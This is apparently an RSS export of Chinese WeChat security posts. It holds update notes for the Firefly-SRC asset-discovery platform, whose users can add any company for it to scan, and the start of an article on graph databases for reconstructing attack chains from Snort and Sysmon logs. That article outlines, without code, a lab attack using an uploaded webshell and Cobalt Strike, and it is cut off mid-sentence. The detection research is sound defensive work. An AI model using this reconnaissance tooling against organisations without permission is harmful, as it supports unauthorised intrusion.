<img src="https://wechat2rss.xlab.app/img-proxy/?k=b6c05d1b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0z2k3m16wCMQCWyMyMUqFXIzM1dUiaCM8CGiaEl8ryO0ru1TLBqy2nDD1bFVY2iamnAzoiaIk3nCaGFDYMrptQVDRg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;word-break: break-word;text-align: left;line-height: 1.25;font-family: Optima-Regular, Optima, PingFangTC-Light, PingFangSC-light, PingFangTC-light;letter-spacing: 2px;background-size: 20px 20px;background-position: center center;margin-bottom: 24px;"><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><img class="rich_pages wxw-img" data-imgfileid="100000792" data-ratio="0.5601851851851852" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=3a456277&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0z2k3m16wCMQCWyMyMUqFXIzM1dUiaCM8hSBm7LW6u0ExTNlfjQhDIMe41O2sAj9Sib7kP7WaeteX96HVIwJ3RKg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></h2><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangTC-Light, PingFangSC-light, PingFangTC-light;letter-spacing: 2px;text-wrap: wrap;text-align: center;"><span style="border-bottom: 2px solid rgb(216, 156, 246);">更新速览</span></h3><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;font-size: 15px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;">增加收藏查询条件功能</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;">增加消息推送功能</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;">增加添加公司功能</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;">增加公益列表</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;">首页优化</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;">网站列表页优化</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;">调整积分功能</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;">查询字段增加及调整</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;">普通用户开放更多功能</section></li></ol><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;"><strong>新版使用手册地址</strong><br/><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzU5MTE4Mzk0NQ==&amp;mid=2247484478&amp;idx=1&amp;sn=bb356a7a9563f9dd80ee27654ab9ecf0&amp;chksm=fe33ad18c944240e337e7bc62904e50cd6aa9560c09bf9b5d9655d4c5b0db26753754ac79a56&amp;scene=21#wechat_redirect" textvalue="Firefly-SRC资产探测平台使用手册" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">Firefly-SRC资产探测平台使用手册</a></section><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangTC-Light, PingFangSC-light, PingFangTC-light;letter-spacing: 2px;text-wrap: wrap;text-align: center;"><span style="border-bottom: 2px solid rgb(216, 156, 246);">收藏查询条件功能</span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;">点击 <strong style="color: rgb(145, 109, 213);">「更多操作-收藏查询条件」</strong> 可以将当前查询条件保存到收藏语法中。师傅们可以收藏常用的查询语句，后续可一键查询保存的语法。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;">配合高级查询可以实现自定义的数据清洗规则，比如过滤404，泛解析，第三方域名等资产。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000800" data-ratio="0.3398148148148148" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=e13167db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0z2k3m16wCMQCWyMyMUqFXIzM1dUiaCM8Pam4m9K7Gr6PeXlm9OwY742c9ibWUiayEKIMjcHA1KW6icJUtYHKEvvzQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangTC-Light, PingFangSC-light, PingFangTC-light;letter-spacing: 2px;text-wrap: wrap;text-align: center;"><span style="border-bottom: 2px solid rgb(216, 156, 246);">增加消息推送功能</span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;">新增推送功能，支持推送特定内容到钉钉、飞书、企业微信。具体配置方法见使用文档。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;">目前推送内容包括</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;font-size: 15px;list-style-type: circle;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;"><strong style="color: rgb(145, 109, 213);">「新增SRC」</strong>: 实时推送，发现新的SRC立即推送</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;"><strong style="color: rgb(145, 109, 213);">「新增资产」</strong>: 定时推送，查询并推送前24小时新增的资产数量，需要在收藏查询中标记为推送。</section></li></ul><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000799" data-ratio="0.5402476780185759" data-s="300,640" style="" data-type="png" data-w="646" src="https://wechat2rss.xlab.app/img-proxy/?k=df7bd3f7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0z2k3m16wCMQCWyMyMUqFXIzM1dUiaCM8k7YficxRpoz1NzRLjCLHpPZqS8wEkS1nxIyLZNSrEibZcxicQLwESicqKg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><br/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;">在收藏语法中可以将语法设置推送，平台每天会定时推送当前查询条件下近24小时内新增资产数量。目前最多配置三条推送条件。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000798" data-ratio="0.28888888888888886" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=da4dbdb2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0z2k3m16wCMQCWyMyMUqFXIzM1dUiaCM8XebmszHO2a5fiaEVSF5Wq1XbpKzkGthWTtwicib82gQ7WXZiaf5JfRHBfQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><br/></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangTC-Light, PingFangSC-light, PingFangTC-light;letter-spacing: 2px;text-wrap: wrap;text-align: center;"><span style="border-bottom: 2px solid rgb(216, 156, 246);">增加添加公司功能</span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;"><strong style="color: rgb(145, 109, 213);">「实验功能-企业查询」</strong>功能处允许用户添加新的公司。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;">师傅们有自己感兴趣的目标可以自行添加，比如众测、公益等目标。平台会在空闲时候对添加的目标资产进行探测及收集</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000797" data-ratio="0.3175925925925926" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=0eefb9a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0z2k3m16wCMQCWyMyMUqFXIzM1dUiaCM8I9cQWD1dEBZNDWoV9fWmLr5h99OWTHUib3xsjdgXoG6BicfgNjswhhcg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><br/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;">PS:添加时必须选择正确的SRC，非SRC请选择 <strong style="color: rgb(145, 109, 213);">「公益」</strong>，后台通过后才会收集</p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangTC-Light, PingFangSC-light, PingFangTC-light;letter-spacing: 2px;text-wrap: wrap;text-align: center;"><span style="border-bottom: 2px solid rgb(216, 156, 246);">增加消息推送功能</span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;">添加的非SRC资产会增加到公益列表，师傅们可从此处查看平台收集资产的简单统计。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;">这里的不会做定期监控，只在空闲时间收集。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000796" data-ratio="0.30185185185185187" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=3a11598f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0z2k3m16wCMQCWyMyMUqFXIzM1dUiaCM8gmIoOyy9vkAnQCvicHCswDyfjibNX06NLFPYaImllLUMEIZ9q8ibNzyUQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><br/></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangTC-Light, PingFangSC-light, PingFangTC-light;letter-spacing: 2px;text-wrap: wrap;text-align: center;"><span style="border-bottom: 2px solid rgb(216, 156, 246);">首页优化</span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;">首页增加推送配置、使用兑换码功能和绑定邀请码功能。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000795" data-ratio="0.3712962962962963" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=03ff53c1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0z2k3m16wCMQCWyMyMUqFXIzM1dUiaCM8z1aic9uEHph8qqxBopibzS64ibk1nJj79ZriccTBD838Jjgy1ppWwSrobQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangTC-Light, PingFangSC-light, PingFangTC-light;letter-spacing: 2px;text-wrap: wrap;text-align: center;"><span style="border-bottom: 2px solid rgb(216, 156, 246);">网站列表页优化</span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;">列表页面增加返回长度展示，icon_hash，cert_hash，ipv6等信息。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000794" data-ratio="0.38981481481481484" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9ba09531&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0z2k3m16wCMQCWyMyMUqFXIzM1dUiaCM8icWD3TYs3olwbyIVoUJmyAFFGic5udR0ZiaIR1ZZr2yLdVYpdL9bN2XWg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><br/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;">详情页面增加关联资产,关联IP等信息，优化网站API展示等</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000793" data-ratio="0.8555555555555555" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=46f7930e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0z2k3m16wCMQCWyMyMUqFXIzM1dUiaCM8ibsK1YoVSfAZVQILvPzzqhGLgfZib1ZJ8diaYViaVEj1Z1Rf64qaa74YDw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangTC-Light, PingFangSC-light, PingFangTC-light;letter-spacing: 2px;text-wrap: wrap;text-align: center;"><span style="border-bottom: 2px solid rgb(216, 156, 246);">调整积分功能</span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;">不再设置双倍积分等限制，新版积分统一为绑定邀请码双方增加20积分。</p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangTC-Light, PingFangSC-light, PingFangTC-light;letter-spacing: 2px;text-wrap: wrap;text-align: center;"><span style="border-bottom: 2px solid rgb(216, 156, 246);">查询字段增加及调整</span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;">增加和调整部分字段，新版字段可见使用手册。</p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangTC-Light, PingFangSC-light, PingFangTC-light;letter-spacing: 2px;text-wrap: wrap;text-align: center;"><span style="border-bottom: 2px solid rgb(216, 156, 246);">普通用户开放更多功能</span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;">开放普通用户查看关注SRC的APP、小程序等信息。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;">开放普通用户导出上限增加至1W条，和VIP用户一致。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;"><br/></p><p style="margin: 10px;text-wrap: wrap;outline: 0px;font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 0.544px;color: rgb(89, 89, 89);background-color: rgb(255, 255, 255);text-align: center;line-height: 1.6;"><span style="outline: 0px;color: rgb(149, 119, 239);"><strong style="outline: 0px;">师傅师傅，点个关注点个在看吧🙏</strong></span></p><p style="margin-bottom: 0em;text-wrap: wrap;outline: 0px;font-size: 16px;letter-spacing: 0.544px;color: rgb(89, 89, 89);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;"><img class="rich_pages wxw-img" data-imgfileid="100000829" data-ratio="1" style="outline: 0px;display: initial;visibility: visible !important;width: 258px !important;" data-type="jpeg" data-w="258" src="https://wechat2rss.xlab.app/img-proxy/?k=d395515b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F0z2k3m16wCNzYMDgz8Em0tJOTLQdaTY7De46ulW6ibwwp5zfobIW6MPBf1XP7vvmROP0wbl3icw9icoFhRCicsxVng%2F640%3Fwx_fmt%3Dother%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1%26tp%3Dwebp"/></p></section><p style="display: none;margin-bottom: 24px;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247486061">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6d98818a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NzczOTA3OQ%3D%3D%26mid%3D2247486061%26idx%3D1%26sn%3Dc8b9c5b6b773ff1782be53a3d940e903%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 05 Aug 2024 09:50:00 +0800</pubDate>
    </item>
    <item>
      <title>图数据库在攻击链路场景下利用的可行性</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NzczOTA3OQ==&amp;mid=2247486059&amp;idx=1&amp;sn=5c712dec829c9bcb9f21e215e2ac0858</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>KID</span> <span>2024-07-22 12:10</span> <span style="display: inline-block;">北京</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=1615709b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FLxlshmzkAkZibI4ibWDC9GgC6OOoBvtichc9Qic6SjsMd8P6HOO0G6WCynfRKuglJIPaSkYA5bPx4nzzicghKloZKicQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100002133" data-ratio="0.32" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=33786dee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkb1yDnVcgIlvd3KG3vX76egiaDfKT3XbKmjGJjIa3foicznOnreTcvrRwtccfNAZ4I8TuibyIuNnkiatQ%2F640%3Fwx_fmt%3Dpng"/></p><h2 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin-right: auto;margin-bottom: 2em;margin-left: auto;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);"><span style="font-size: 1.2em;">前言</span><br/></h2><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">图关系型数据库已经出现很久了，也或多或少的应用在了安全领域，如：</p><ol style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>1. 代码审计，漏洞挖掘，如：<a href="https://github.com/wh1t3p1g/tabby-path-finder/；" target="_blank">https://github.com/wh1t3p1g/tabby-path-finder/；</a></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>2. 资产关联：各个态势感知平台会用作来展示关系；</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>3. 漏洞信息/威胁信息等：</p></li></ol><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100002400" data-ratio="0.8284424379232506" data-s="300,640" style="" data-type="png" data-w="443" src="https://wechat2rss.xlab.app/img-proxy/?k=91cf6c1e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZibI4ibWDC9GgC6OOoBvtichco1W7eGVx067lUtmlrjyN9wVPrqhZvHdumANTicmLtvVXZ7RhhWB8ricQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><ol style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>4. 还有很多通过日志去还原攻击链路：<a href="https://xz.aliyun.com/t/11147?time__1311=Cq0x2Dg7GQKWqGNDQiuAxAx7weQw9gELbD、" target="_blank">https://xz.aliyun.com/t/11147?time__1311=Cq0x2Dg7GQKWqGNDQiuAxAx7weQw9gELbD、</a><a href="https://mp.weixin.qq.com/s?__biz=MzIyODYzNTU2OA==&amp;mid=2247488568&amp;idx=1&amp;sn=34cdb63e1dc0125df6206257efd5eeff&amp;scene=21#wechat_redirect" title="https://mp.weixin.qq.com/s?__biz=MzIyODYzNTU2OA==&amp;mid=2247488568&amp;idx=1&amp;sn=34cdb63e1dc0125df6206257efd5eeff&amp;scene=21#wechat_redirect" style="line-height: 1.75;" data-linktype="2"><a href="https://mp.weixin.qq.com/s/ofP4j2TEfNoCYqrLhMsvZA" target="_blank">https://mp.weixin.qq.com/s/ofP4j2TEfNoCYqrLhMsvZA</a></a>。</p></li></ol><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">     这些都或多或少的增强了安全的实力，图可以用更直接的方式来展示和分析各个节点之间的关系，在分析日志的时候，大家的文章考虑过分别用流量日志、主机日志来用图去分析，也讨论过去综合分析，现在来考虑，在流量/主机日志都尽可能抓到的情况下，结合图数据库，能做到什么地步。</p><h2 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">场景搭建</h2><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 1.4px;text-align: left;text-wrap: wrap;">     </span>逻辑很简单，通过文件上传，上传一个webshell，在通过webshell工具去连接、通过cs来进行后渗透，如：进程注入等其他工作等。这些东西很简单，几个虚拟机都可以完成，就不详细说明了。流量日志使用支持snort规则库的引擎来进行，主机日志是在windows上的sysmon，因为他们都有不错的检测规则，特别是sysmon，对于windows，基本上所有需要的字段都能得到（不愧是微软自己的），然而，虽然有SysmonForLinux，经过简单测试，并不理想。</p><h2 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">思路介绍</h2><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;letter-spacing: normal;text-align: start;text-wrap: wrap;">先看下绿盟的文章</span></p><p><a href="https://mp.weixin.qq.com/s?__biz=MzIyODYzNTU2OA==&amp;mid=2247488568&amp;idx=1&amp;sn=34cdb63e1dc0125df6206257efd5eeff&amp;scene=21#wechat_redirect" title="https://mp.weixin.qq.com/s?__biz=MzIyODYzNTU2OA==&amp;mid=2247488568&amp;idx=1&amp;sn=34cdb63e1dc0125df6206257efd5eeff&amp;scene=21#wechat_redirect" style="font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;" data-linktype="2"><a href="https://mp.weixin.qq.com/s/ofP4j2TEfNoCYqrLhMsvZA" target="_blank">https://mp.weixin.qq.com/s/ofP4j2TEfNoCYqrLhMsvZA</a></a></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100002401" data-ratio="0.21851851851851853" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=10be8113&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZibI4ibWDC9GgC6OOoBvtichcibLQ3YNU6Ljblib5wXhvThh0LWBqYbJzRZKj71gKPgzbnD1UNBpE3XiaA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100002402" data-ratio="1.0649122807017544" data-s="300,640" style="" data-type="png" data-w="570" src="https://wechat2rss.xlab.app/img-proxy/?k=63fe20fd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZibI4ibWDC9GgC6OOoBvtichcdJ2CtkuId8QbbSrBSBTxziaMeZvMb8hsyFJx6TRIexxY9dUKo75CJ8A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;letter-spacing: normal;text-align: start;text-wrap: 